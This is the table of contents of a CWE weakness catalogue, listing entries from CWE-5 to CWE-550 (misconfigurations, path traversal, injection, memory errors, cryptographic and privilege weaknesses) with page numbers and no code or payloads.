Individual CWE Weaknesses

| | |
|---|-----|
| CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption..... | 1 |
| CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length..... | 2 |
| CWE-7: J2EE Misconfiguration: Missing Custom Error Page..... | 4 |
| CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote..... | 6 |
| CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods..... | 7 |
| CWE-11: ASP.NET Misconfiguration: Creating Debug Binary..... | 9 |
| CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page..... | 11 |
| CWE-13: ASP.NET Misconfiguration: Password in Configuration File..... | 12 |
| CWE-14: Compiler Removal of Code to Clear Buffers..... | 14 |
| CWE-15: External Control of System or Configuration Setting..... | 17 |
| CWE-20: Improper Input Validation..... | 19 |
| CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')..... | 31 |
| CWE-23: Relative Path Traversal..... | 42 |
| CWE-24: Path Traversal: './filedir'..... | 49 |
| CWE-25: Path Traversal: '/../filedir'..... | 50 |
| CWE-26: Path Traversal: '/dir/./filename'..... | 52 |
| CWE-27: Path Traversal: 'dir/././filename'..... | 53 |
| CWE-28: Path Traversal: './filedir'..... | 55 |
| CWE-29: Path Traversal: '\.filename'..... | 57 |
| CWE-30: Path Traversal: 'dir\.\filename'..... | 59 |
| CWE-31: Path Traversal: 'dir\.\.\filename'..... | 60 |
| CWE-32: Path Traversal: '...' (Triple Dot)..... | 62 |
| CWE-33: Path Traversal: '....' (Multiple Dot)..... | 64 |
| CWE-34: Path Traversal: '.../'..... | 66 |
| CWE-35: Path Traversal: '.../..'..... | 68 |
| CWE-36: Absolute Path Traversal..... | 70 |
| CWE-37: Path Traversal: '/absolute/pathname/here'..... | 73 |
| CWE-38: Path Traversal: '\absolute\pathname\here'..... | 75 |
| CWE-39: Path Traversal: 'C:\dirname'..... | 77 |
| CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share)..... | 79 |
| CWE-41: Improper Resolution of Path Equivalence..... | 81 |
| CWE-42: Path Equivalence: 'filename.' (Trailing Dot)..... | 87 |
| CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot)..... | 88 |
| CWE-44: Path Equivalence: 'file.name' (Internal Dot)..... | 89 |
| CWE-45: Path Equivalence: 'file...name' (Multiple Internal Dot)..... | 89 |
| CWE-46: Path Equivalence: 'filename ' (Trailing Space)..... | 90 |
| CWE-47: Path Equivalence: ' filename' (Leading Space)..... | 92 |
| CWE-48: Path Equivalence: 'file name' (Internal Whitespace)..... | 93 |
| CWE-49: Path Equivalence: 'filename/' (Trailing Slash)..... | 94 |
| CWE-50: Path Equivalence: '//multiple/leading/slash'..... | 95 |
| CWE-51: Path Equivalence: '/multiple//internal/slash'..... | 96 |
| CWE-52: Path Equivalence: '/multiple/trailing/slash/'..... | 97 |
| CWE-53: Path Equivalence: '\multiple\internal\backslash'..... | 98 |
| CWE-54: Path Equivalence: 'filedir\' (Trailing Backslash)..... | 99 |
| CWE-55: Path Equivalence: './' (Single Dot Directory)..... | 100 |
| CWE-56: Path Equivalence: 'filedir*' (Wildcard)..... | 102 |
| CWE-57: Path Equivalence: 'fakedir/./readdir/filename'..... | 103 |
| CWE-58: Path Equivalence: Windows 8.3 Filename..... | 104 |
| CWE-59: Improper Link Resolution Before File Access ('Link Following')..... | 105 |
| CWE-61: UNIX Symbolic Link (Symlink) Following..... | 110 |
| CWE-62: UNIX Hard Link..... | 112 |
| CWE-64: Windows Shortcut Following (.LNK)..... | 114 |
| CWE-65: Windows Hard Link..... | 116 |
| CWE-66: Improper Handling of File Names that Identify Virtual Resources..... | 118 |
| CWE-67: Improper Handling of Windows Device Names..... | 120 |

| | |
|--|-----|
| CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream..... | 122 |
| CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path..... | 124 |
| CWE-73: External Control of File Name or Path..... | 125 |
| CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')..... | 130 |
| CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)..... | 134 |
| CWE-76: Improper Neutralization of Equivalent Special Elements..... | 135 |
| CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')..... | 136 |
| CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')..... | 142 |
| CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')..... | 154 |
| CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)..... | 167 |
| CWE-81: Improper Neutralization of Script in an Error Message Web Page..... | 169 |
| CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page..... | 171 |
| CWE-83: Improper Neutralization of Script in Attributes in a Web Page..... | 173 |
| CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page..... | 175 |
| CWE-85: Doubled Character XSS Manipulations..... | 177 |
| CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages..... | 179 |
| CWE-87: Improper Neutralization of Alternate XSS Syntax..... | 181 |
| CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')..... | 183 |
| CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')..... | 189 |
| CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')..... | 200 |
| CWE-91: XML Injection (aka Blind XPath Injection)..... | 202 |
| CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')..... | 205 |
| CWE-94: Improper Control of Generation of Code ('Code Injection')..... | 207 |
| CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')..... | 212 |
| CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')..... | 216 |
| CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page..... | 219 |
| CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')..... | 220 |
| CWE-99: Improper Control of Resource Identifiers ('Resource Injection')..... | 227 |
| CWE-102: Struts: Duplicate Validation Forms..... | 230 |
| CWE-103: Struts: Incomplete validate() Method Definition..... | 232 |
| CWE-104: Struts: Form Bean Does Not Extend Validation Class..... | 235 |
| CWE-105: Struts: Form Field Without Validator..... | 237 |
| CWE-106: Struts: Plug-in Framework not in Use..... | 240 |
| CWE-107: Struts: Unused Validation Form..... | 242 |
| CWE-108: Struts: Unvalidated Action Form..... | 245 |
| CWE-109: Struts: Validator Turned Off..... | 246 |
| CWE-110: Struts: Validator Without Form Field..... | 248 |
| CWE-111: Direct Use of Unsafe JNI..... | 250 |
| CWE-112: Missing XML Validation..... | 253 |
| CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')..... | 254 |
| CWE-114: Process Control..... | 259 |
| CWE-115: Misinterpretation of Input..... | 262 |
| CWE-116: Improper Encoding or Escaping of Output..... | 263 |
| CWE-117: Improper Output Neutralization for Logs..... | 270 |
| CWE-118: Incorrect Access of Indexable Resource ('Range Error')..... | 273 |
| CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer..... | 274 |
| CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')..... | 285 |
| CWE-121: Stack-based Buffer Overflow..... | 294 |
| CWE-122: Heap-based Buffer Overflow..... | 297 |
| CWE-123: Write-what-where Condition..... | 301 |
| CWE-124: Buffer Underwrite ('Buffer Underflow')..... | 304 |
| CWE-125: Out-of-bounds Read..... | 307 |
| CWE-126: Buffer Over-read..... | 311 |
| CWE-127: Buffer Under-read..... | 314 |
| CWE-128: Wrap-around Error..... | 315 |
| CWE-129: Improper Validation of Array Index..... | 317 |
| CWE-130: Improper Handling of Length Parameter Inconsistency..... | 327 |
| CWE-131: Incorrect Calculation of Buffer Size..... | 331 |

| | |
|---|-----|
| CWE-134: Use of Externally-Controlled Format String..... | 340 |
| CWE-135: Incorrect Calculation of Multi-Byte String Length..... | 346 |
| CWE-138: Improper Neutralization of Special Elements..... | 348 |
| CWE-140: Improper Neutralization of Delimiters..... | 351 |
| CWE-141: Improper Neutralization of Parameter/Argument Delimiters..... | 353 |
| CWE-142: Improper Neutralization of Value Delimiters..... | 354 |
| CWE-143: Improper Neutralization of Record Delimiters..... | 356 |
| CWE-144: Improper Neutralization of Line Delimiters..... | 358 |
| CWE-145: Improper Neutralization of Section Delimiters..... | 360 |
| CWE-146: Improper Neutralization of Expression/Command Delimiters..... | 362 |
| CWE-147: Improper Neutralization of Input Terminators..... | 363 |
| CWE-148: Improper Neutralization of Input Leaders..... | 365 |
| CWE-149: Improper Neutralization of Quoting Syntax..... | 367 |
| CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences..... | 368 |
| CWE-151: Improper Neutralization of Comment Delimiters..... | 371 |
| CWE-152: Improper Neutralization of Macro Symbols..... | 372 |
| CWE-153: Improper Neutralization of Substitution Characters..... | 374 |
| CWE-154: Improper Neutralization of Variable Name Delimiters..... | 376 |
| CWE-155: Improper Neutralization of Wildcards or Matching Symbols..... | 378 |
| CWE-156: Improper Neutralization of Whitespace..... | 379 |
| CWE-157: Failure to Sanitize Paired Delimiters..... | 381 |
| CWE-158: Improper Neutralization of Null Byte or NUL Character..... | 383 |
| CWE-159: Improper Handling of Invalid Use of Special Elements..... | 386 |
| CWE-160: Improper Neutralization of Leading Special Elements..... | 387 |
| CWE-161: Improper Neutralization of Multiple Leading Special Elements..... | 389 |
| CWE-162: Improper Neutralization of Trailing Special Elements..... | 391 |
| CWE-163: Improper Neutralization of Multiple Trailing Special Elements..... | 392 |
| CWE-164: Improper Neutralization of Internal Special Elements..... | 394 |
| CWE-165: Improper Neutralization of Multiple Internal Special Elements..... | 395 |
| CWE-166: Improper Handling of Missing Special Element..... | 397 |
| CWE-167: Improper Handling of Additional Special Element..... | 398 |
| CWE-168: Improper Handling of Inconsistent Special Elements..... | 400 |
| CWE-170: Improper Null Termination..... | 401 |
| CWE-172: Encoding Error..... | 406 |
| CWE-173: Improper Handling of Alternate Encoding..... | 408 |
| CWE-174: Double Decoding of the Same Data..... | 410 |
| CWE-175: Improper Handling of Mixed Encoding..... | 412 |
| CWE-176: Improper Handling of Unicode Encoding..... | 413 |
| CWE-177: Improper Handling of URL Encoding (Hex Encoding)..... | 415 |
| CWE-178: Improper Handling of Case Sensitivity..... | 417 |
| CWE-179: Incorrect Behavior Order: Early Validation..... | 421 |
| CWE-180: Incorrect Behavior Order: Validate Before Canonicalize..... | 424 |
| CWE-181: Incorrect Behavior Order: Validate Before Filter..... | 426 |
| CWE-182: Collapse of Data into Unsafe Value..... | 428 |
| CWE-183: Permissive List of Allowed Inputs..... | 430 |
| CWE-184: Incomplete List of Disallowed Inputs..... | 432 |
| CWE-185: Incorrect Regular Expression..... | 435 |
| CWE-186: Overly Restrictive Regular Expression..... | 437 |
| CWE-187: Partial String Comparison..... | 439 |
| CWE-188: Reliance on Data/Memory Layout..... | 441 |
| CWE-190: Integer Overflow or Wraparound..... | 443 |
| CWE-191: Integer Underflow (Wrap or Wraparound)..... | 450 |
| CWE-192: Integer Coercion Error..... | 453 |
| CWE-193: Off-by-one Error..... | 456 |
| CWE-194: Unexpected Sign Extension..... | 461 |
| CWE-195: Signed to Unsigned Conversion Error..... | 464 |
| CWE-196: Unsigned to Signed Conversion Error..... | 468 |
| CWE-197: Numeric Truncation Error..... | 469 |
| CWE-198: Use of Incorrect Byte Ordering..... | 473 |
| CWE-200: Exposure of Sensitive Information to an Unauthorized Actor..... | 474 |
| CWE-201: Insertion of Sensitive Information Into Sent Data..... | 483 |

| | |
|--|-----|
| CWE-202: Exposure of Sensitive Information Through Data Queries..... | 485 |
| CWE-203: Observable Discrepancy..... | 486 |
| CWE-204: Observable Response Discrepancy..... | 491 |
| CWE-205: Observable Behavioral Discrepancy..... | 494 |
| CWE-206: Observable Internal Behavioral Discrepancy..... | 495 |
| CWE-207: Observable Behavioral Discrepancy With Equivalent Products..... | 496 |
| CWE-208: Observable Timing Discrepancy..... | 497 |
| CWE-209: Generation of Error Message Containing Sensitive Information..... | 499 |
| CWE-210: Self-generated Error Message Containing Sensitive Information..... | 505 |
| CWE-211: Externally-Generated Error Message Containing Sensitive Information..... | 507 |
| CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer..... | 509 |
| CWE-213: Exposure of Sensitive Information Due to Incompatible Policies..... | 513 |
| CWE-214: Invocation of Process Using Visible Sensitive Information..... | 514 |
| CWE-215: Insertion of Sensitive Information Into Debugging Code..... | 516 |
| CWE-219: Storage of File with Sensitive Data Under Web Root..... | 518 |
| CWE-220: Storage of File With Sensitive Data Under FTP Root..... | 520 |
| CWE-221: Information Loss or Omission..... | 521 |
| CWE-222: Truncation of Security-relevant Information..... | 522 |
| CWE-223: Omission of Security-relevant Information..... | 523 |
| CWE-224: Obscured Security-relevant Information by Alternate Name..... | 524 |
| CWE-226: Sensitive Information in Resource Not Removed Before Reuse..... | 526 |
| CWE-228: Improper Handling of Syntactically Invalid Structure..... | 530 |
| CWE-229: Improper Handling of Values..... | 531 |
| CWE-230: Improper Handling of Missing Values..... | 532 |
| CWE-231: Improper Handling of Extra Values..... | 534 |
| CWE-232: Improper Handling of Undefined Values..... | 534 |
| CWE-233: Improper Handling of Parameters..... | 536 |
| CWE-234: Failure to Handle Missing Parameter..... | 537 |
| CWE-235: Improper Handling of Extra Parameters..... | 539 |
| CWE-236: Improper Handling of Undefined Parameters..... | 540 |
| CWE-237: Improper Handling of Structural Elements..... | 541 |
| CWE-238: Improper Handling of Incomplete Structural Elements..... | 542 |
| CWE-239: Failure to Handle Incomplete Element..... | 543 |
| CWE-240: Improper Handling of Inconsistent Structural Elements..... | 544 |
| CWE-241: Improper Handling of Unexpected Data Type..... | 545 |
| CWE-242: Use of Inherently Dangerous Function..... | 546 |
| CWE-243: Creation of chroot Jail Without Changing Working Directory..... | 548 |
| CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection')..... | 550 |
| CWE-245: J2EE Bad Practices: Direct Management of Connections..... | 552 |
| CWE-246: J2EE Bad Practices: Direct Use of Sockets..... | 554 |
| CWE-248: Uncaught Exception..... | 555 |
| CWE-250: Execution with Unnecessary Privileges..... | 557 |
| CWE-252: Unchecked Return Value..... | 564 |
| CWE-253: Incorrect Check of Function Return Value..... | 571 |
| CWE-256: Plaintext Storage of a Password..... | 573 |
| CWE-257: Storing Passwords in a Recoverable Format..... | 575 |
| CWE-258: Empty Password in Configuration File..... | 578 |
| CWE-259: Use of Hard-coded Password..... | 580 |
| CWE-260: Password in Configuration File..... | 584 |
| CWE-261: Weak Encoding for Password..... | 586 |
| CWE-262: Not Using Password Aging..... | 589 |
| CWE-263: Password Aging with Long Expiration..... | 590 |
| CWE-266: Incorrect Privilege Assignment..... | 592 |
| CWE-267: Privilege Defined With Unsafe Actions..... | 595 |
| CWE-268: Privilege Chaining..... | 598 |
| CWE-269: Improper Privilege Management..... | 600 |
| CWE-270: Privilege Context Switching Error..... | 605 |
| CWE-271: Privilege Dropping / Lowering Errors..... | 607 |
| CWE-272: Least Privilege Violation..... | 610 |
| CWE-273: Improper Check for Dropped Privileges..... | 613 |
| CWE-274: Improper Handling of Insufficient Privileges..... | 616 |

| | |
|---|-----|
| CWE-276: Incorrect Default Permissions..... | 618 |
| CWE-277: Insecure Inherited Permissions..... | 621 |
| CWE-278: Insecure Preserved Inherited Permissions..... | 622 |
| CWE-279: Incorrect Execution-Assigned Permissions..... | 623 |
| CWE-280: Improper Handling of Insufficient Permissions or Privileges | 625 |
| CWE-281: Improper Preservation of Permissions..... | 627 |
| CWE-282: Improper Ownership Management..... | 628 |
| CWE-283: Unverified Ownership..... | 630 |
| CWE-284: Improper Access Control..... | 631 |
| CWE-285: Improper Authorization..... | 635 |
| CWE-286: Incorrect User Management..... | 642 |
| CWE-287: Improper Authentication..... | 643 |
| CWE-288: Authentication Bypass Using an Alternate Path or Channel..... | 649 |
| CWE-289: Authentication Bypass by Alternate Name..... | 651 |
| CWE-290: Authentication Bypass by Spoofing..... | 653 |
| CWE-291: Reliance on IP Address for Authentication..... | 656 |
| CWE-293: Using Referer Field for Authentication..... | 658 |
| CWE-294: Authentication Bypass by Capture-replay..... | 660 |
| CWE-295: Improper Certificate Validation..... | 662 |
| CWE-296: Improper Following of a Certificate's Chain of Trust..... | 667 |
| CWE-297: Improper Validation of Certificate with Host Mismatch..... | 670 |
| CWE-298: Improper Validation of Certificate Expiration..... | 673 |
| CWE-299: Improper Check for Certificate Revocation..... | 675 |
| CWE-300: Channel Accessible by Non-Endpoint..... | 677 |
| CWE-301: Reflection Attack in an Authentication Protocol..... | 680 |
| CWE-302: Authentication Bypass by Assumed-Immutable Data..... | 682 |
| CWE-303: Incorrect Implementation of Authentication Algorithm..... | 684 |
| CWE-304: Missing Critical Step in Authentication..... | 685 |
| CWE-305: Authentication Bypass by Primary Weakness..... | 687 |
| CWE-306: Missing Authentication for Critical Function..... | 688 |
| CWE-307: Improper Restriction of Excessive Authentication Attempts..... | 692 |
| CWE-308: Use of Single-factor Authentication..... | 697 |
| CWE-309: Use of Password System for Primary Authentication..... | 699 |
| CWE-311: Missing Encryption of Sensitive Data..... | 701 |
| CWE-312: Cleartext Storage of Sensitive Information..... | 708 |
| CWE-313: Cleartext Storage in a File or on Disk..... | 712 |
| CWE-314: Cleartext Storage in the Registry..... | 714 |
| CWE-315: Cleartext Storage of Sensitive Information in a Cookie..... | 715 |
| CWE-316: Cleartext Storage of Sensitive Information in Memory..... | 717 |
| CWE-317: Cleartext Storage of Sensitive Information in GUI..... | 718 |
| CWE-318: Cleartext Storage of Sensitive Information in Executable..... | 720 |
| CWE-319: Cleartext Transmission of Sensitive Information..... | 721 |
| CWE-321: Use of Hard-coded Cryptographic Key..... | 724 |
| CWE-322: Key Exchange without Entity Authentication..... | 727 |
| CWE-323: Reusing a Nonce, Key Pair in Encryption..... | 729 |
| CWE-324: Use of a Key Past its Expiration Date..... | 730 |
| CWE-325: Missing Cryptographic Step..... | 732 |
| CWE-326: Inadequate Encryption Strength..... | 734 |
| CWE-327: Use of a Broken or Risky Cryptographic Algorithm..... | 736 |
| CWE-328: Use of Weak Hash..... | 742 |
| CWE-329: Generation of Predictable IV with CBC Mode..... | 745 |
| CWE-330: Use of Insufficiently Random Values..... | 748 |
| CWE-331: Insufficient Entropy..... | 755 |
| CWE-332: Insufficient Entropy in PRNG..... | 757 |
| CWE-333: Improper Handling of Insufficient Entropy in TRNG..... | 759 |
| CWE-334: Small Space of Random Values..... | 761 |
| CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)..... | 763 |
| CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG)..... | 765 |
| CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG)..... | 767 |
| CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)..... | 769 |
| CWE-339: Small Seed Space in PRNG..... | 772 |

| | |
|---|-----|
| CWE-340: Generation of Predictable Numbers or Identifiers..... | 774 |
| CWE-341: Predictable from Observable State..... | 775 |
| CWE-342: Predictable Exact Value from Previous Values..... | 777 |
| CWE-343: Predictable Value Range from Previous Values..... | 779 |
| CWE-344: Use of Invariant Value in Dynamically Changing Context..... | 780 |
| CWE-345: Insufficient Verification of Data Authenticity..... | 781 |
| CWE-346: Origin Validation Error..... | 783 |
| CWE-347: Improper Verification of Cryptographic Signature..... | 787 |
| CWE-348: Use of Less Trusted Source..... | 789 |
| CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data..... | 791 |
| CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action..... | 792 |
| CWE-351: Insufficient Type Distinction..... | 796 |
| CWE-352: Cross-Site Request Forgery (CSRF)..... | 797 |
| CWE-353: Missing Support for Integrity Check..... | 803 |
| CWE-354: Improper Validation of Integrity Check Value..... | 805 |
| CWE-356: Product UI does not Warn User of Unsafe Actions..... | 807 |
| CWE-357: Insufficient UI Warning of Dangerous Operations..... | 809 |
| CWE-358: Improperly Implemented Security Check for Standard..... | 810 |
| CWE-359: Exposure of Private Personal Information to an Unauthorized Actor..... | 811 |
| CWE-360: Trust of System Event Data..... | 815 |
| CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')..... | 817 |
| CWE-363: Race Condition Enabling Link Following..... | 824 |
| CWE-364: Signal Handler Race Condition..... | 826 |
| CWE-365: Race Condition in Switch..... | 831 |
| CWE-366: Race Condition within a Thread..... | 833 |
| CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition..... | 835 |
| CWE-368: Context Switching Race Condition..... | 840 |
| CWE-369: Divide By Zero..... | 842 |
| CWE-370: Missing Check for Certificate Revocation after Initial Check..... | 845 |
| CWE-372: Incomplete Internal State Distinction..... | 847 |
| CWE-374: Passing Mutable Objects to an Untrusted Method..... | 848 |
| CWE-375: Returning a Mutable Object to an Untrusted Caller..... | 851 |
| CWE-377: Insecure Temporary File..... | 853 |
| CWE-378: Creation of Temporary File With Insecure Permissions..... | 856 |
| CWE-379: Creation of Temporary File in Directory with Insecure Permissions..... | 858 |
| CWE-382: J2EE Bad Practices: Use of System.exit()..... | 860 |
| CWE-383: J2EE Bad Practices: Direct Use of Threads..... | 862 |
| CWE-384: Session Fixation..... | 863 |
| CWE-385: Covert Timing Channel..... | 866 |
| CWE-386: Symbolic Name not Mapping to Correct Object..... | 868 |
| CWE-390: Detection of Error Condition Without Action..... | 870 |
| CWE-391: Unchecked Error Condition..... | 874 |
| CWE-392: Missing Report of Error Condition..... | 877 |
| CWE-393: Return of Wrong Status Code..... | 879 |
| CWE-394: Unexpected Status Code or Return Value..... | 881 |
| CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference..... | 882 |
| CWE-396: Declaration of Catch for Generic Exception..... | 884 |
| CWE-397: Declaration of Throws for Generic Exception..... | 886 |
| CWE-400: Uncontrolled Resource Consumption..... | 889 |
| CWE-401: Missing Release of Memory after Effective Lifetime..... | 896 |
| CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak')..... | 900 |
| CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')..... | 900 |
| CWE-404: Improper Resource Shutdown or Release..... | 902 |
| CWE-405: Asymmetric Resource Consumption (Amplification)..... | 908 |
| CWE-406: Insufficient Control of Network Message Volume (Network Amplification)..... | 910 |
| CWE-407: Inefficient Algorithmic Complexity..... | 912 |
| CWE-408: Incorrect Behavior Order: Early Amplification..... | 914 |
| CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)..... | 915 |
| CWE-410: Insufficient Resource Pool..... | 917 |
| CWE-412: Unrestricted Externally Accessible Lock..... | 919 |

| | |
|--|------|
| CWE-413: Improper Resource Locking..... | 922 |
| CWE-414: Missing Lock Check..... | 925 |
| CWE-415: Double Free..... | 926 |
| CWE-416: Use After Free..... | 930 |
| CWE-419: Unprotected Primary Channel..... | 934 |
| CWE-420: Unprotected Alternate Channel..... | 935 |
| CWE-421: Race Condition During Access to Alternate Channel..... | 937 |
| CWE-422: Unprotected Windows Messaging Channel ('Shatter')..... | 938 |
| CWE-424: Improper Protection of Alternate Path..... | 940 |
| CWE-425: Direct Request ('Forced Browsing')..... | 941 |
| CWE-426: Untrusted Search Path..... | 944 |
| CWE-427: Uncontrolled Search Path Element..... | 949 |
| CWE-428: Unquoted Search Path or Element..... | 954 |
| CWE-430: Deployment of Wrong Handler..... | 956 |
| CWE-431: Missing Handler..... | 958 |
| CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations..... | 959 |
| CWE-433: Unparsed Raw Web Content Delivery..... | 960 |
| CWE-434: Unrestricted Upload of File with Dangerous Type..... | 962 |
| CWE-435: Improper Interaction Between Multiple Correctly-Behaving Entities..... | 970 |
| CWE-436: Interpretation Conflict..... | 971 |
| CWE-437: Incomplete Model of Endpoint Features..... | 973 |
| CWE-439: Behavioral Change in New Version or Environment..... | 974 |
| CWE-440: Expected Behavior Violation..... | 976 |
| CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')..... | 977 |
| CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')..... | 980 |
| CWE-446: UI Discrepancy for Security Feature..... | 984 |
| CWE-447: Unimplemented or Unsupported Feature in UI..... | 985 |
| CWE-448: Obsolete Feature in UI..... | 986 |
| CWE-449: The UI Performs the Wrong Action..... | 987 |
| CWE-450: Multiple Interpretations of UI Input..... | 988 |
| CWE-451: User Interface (UI) Misrepresentation of Critical Information..... | 990 |
| CWE-453: Insecure Default Variable Initialization..... | 993 |
| CWE-454: External Initialization of Trusted Variables or Data Stores..... | 995 |
| CWE-455: Non-exit on Failed Initialization..... | 997 |
| CWE-456: Missing Initialization of a Variable..... | 999 |
| CWE-457: Use of Uninitialized Variable..... | 1004 |
| CWE-459: Incomplete Cleanup..... | 1008 |
| CWE-460: Improper Cleanup on Thrown Exception..... | 1011 |
| CWE-462: Duplicate Key in Associative List (Alist)..... | 1013 |
| CWE-463: Deletion of Data Structure Sentinel..... | 1015 |
| CWE-464: Addition of Data Structure Sentinel..... | 1016 |
| CWE-466: Return of Pointer Value Outside of Expected Range..... | 1018 |
| CWE-467: Use of sizeof() on a Pointer Type..... | 1020 |
| CWE-468: Incorrect Pointer Scaling..... | 1023 |
| CWE-469: Use of Pointer Subtraction to Determine Size..... | 1024 |
| CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')..... | 1026 |
| CWE-471: Modification of Assumed-Immutable Data (MAID)..... | 1030 |
| CWE-472: External Control of Assumed-Immutable Web Parameter..... | 1032 |
| CWE-473: PHP External Variable Modification..... | 1035 |
| CWE-474: Use of Function with Inconsistent Implementations..... | 1036 |
| CWE-475: Undefined Behavior for Input to API..... | 1038 |
| CWE-476: NULL Pointer Dereference..... | 1039 |
| CWE-477: Use of Obsolete Function..... | 1045 |
| CWE-478: Missing Default Case in Switch Statement..... | 1048 |
| CWE-479: Signal Handler Use of a Non-reentrant Function..... | 1052 |
| CWE-480: Use of Incorrect Operator..... | 1054 |
| CWE-481: Assigning instead of Comparing..... | 1057 |
| CWE-482: Comparing instead of Assigning..... | 1060 |
| CWE-483: Incorrect Block Delimitation..... | 1062 |
| CWE-484: Omitted Break Statement in Switch..... | 1064 |
| CWE-486: Comparison of Classes by Name..... | 1067 |

| | |
|---|------|
| CWE-487: Reliance on Package-level Scope..... | 1069 |
| CWE-488: Exposure of Data Element to Wrong Session..... | 1071 |
| CWE-489: Active Debug Code..... | 1073 |
| CWE-491: Public cloneable() Method Without Final ('Object Hijack')..... | 1075 |
| CWE-492: Use of Inner Class Containing Sensitive Data..... | 1077 |
| CWE-493: Critical Public Variable Without Final Modifier..... | 1083 |
| CWE-494: Download of Code Without Integrity Check..... | 1086 |
| CWE-495: Private Data Structure Returned From A Public Method..... | 1090 |
| CWE-496: Public Data Assigned to Private Array-Typed Field..... | 1092 |
| CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere..... | 1093 |
| CWE-498: Cloneable Class Containing Sensitive Information..... | 1096 |
| CWE-499: Serializable Class Containing Sensitive Data..... | 1098 |
| CWE-500: Public Static Field Not Marked Final..... | 1100 |
| CWE-501: Trust Boundary Violation..... | 1102 |
| CWE-502: Deserialization of Untrusted Data..... | 1103 |
| CWE-506: Embedded Malicious Code..... | 1109 |
| CWE-507: Trojan Horse..... | 1110 |
| CWE-508: Non-Replicating Malicious Code..... | 1112 |
| CWE-509: Replicating Malicious Code (Virus or Worm)..... | 1113 |
| CWE-510: Trapdoor..... | 1113 |
| CWE-511: Logic/Time Bomb..... | 1115 |
| CWE-512: Spyware..... | 1116 |
| CWE-514: Covert Channel..... | 1117 |
| CWE-515: Covert Storage Channel..... | 1118 |
| CWE-520: .NET Misconfiguration: Use of Impersonation..... | 1120 |
| CWE-521: Weak Password Requirements..... | 1120 |
| CWE-522: Insufficiently Protected Credentials..... | 1123 |
| CWE-523: Unprotected Transport of Credentials..... | 1127 |
| CWE-524: Use of Cache Containing Sensitive Information..... | 1128 |
| CWE-525: Use of Web Browser Cache Containing Sensitive Information..... | 1129 |
| CWE-526: Exposure of Sensitive Information Through Environmental Variables..... | 1130 |
| CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere..... | 1131 |
| CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere..... | 1132 |
| CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere..... | 1133 |
| CWE-530: Exposure of Backup File to an Unauthorized Control Sphere..... | 1134 |
| CWE-531: Inclusion of Sensitive Information in Test Code..... | 1135 |
| CWE-532: Insertion of Sensitive Information into Log File..... | 1136 |
| CWE-535: Exposure of Information Through Shell Error Message..... | 1139 |
| CWE-536: Servlet Runtime Error Message Containing Sensitive Information..... | 1139 |
| CWE-537: Java Runtime Error Message Containing Sensitive Information..... | 1140 |
| CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory..... | 1143 |
| CWE-539: Use of Persistent Cookies Containing Sensitive Information..... | 1144 |
| CWE-540: Inclusion of Sensitive Information in Source Code..... | 1145 |
| CWE-541: Inclusion of Sensitive Information in an Include File..... | 1146 |
| CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context..... | 1147 |
| CWE-544: Missing Standardized Error Handling Mechanism..... | 1149 |
| CWE-546: Suspicious Comment..... | 1150 |
| CWE-547: Use of Hard-coded, Security-relevant Constants..... | 1152 |
| CWE-548: Exposure of Information Through Directory Listing..... | 1153 |
| CWE-549: Missing Password Field Masking..... | 1154 |
| CWE-550: Server-generated Error Message Containing Sensitive Information..... | 1155 |
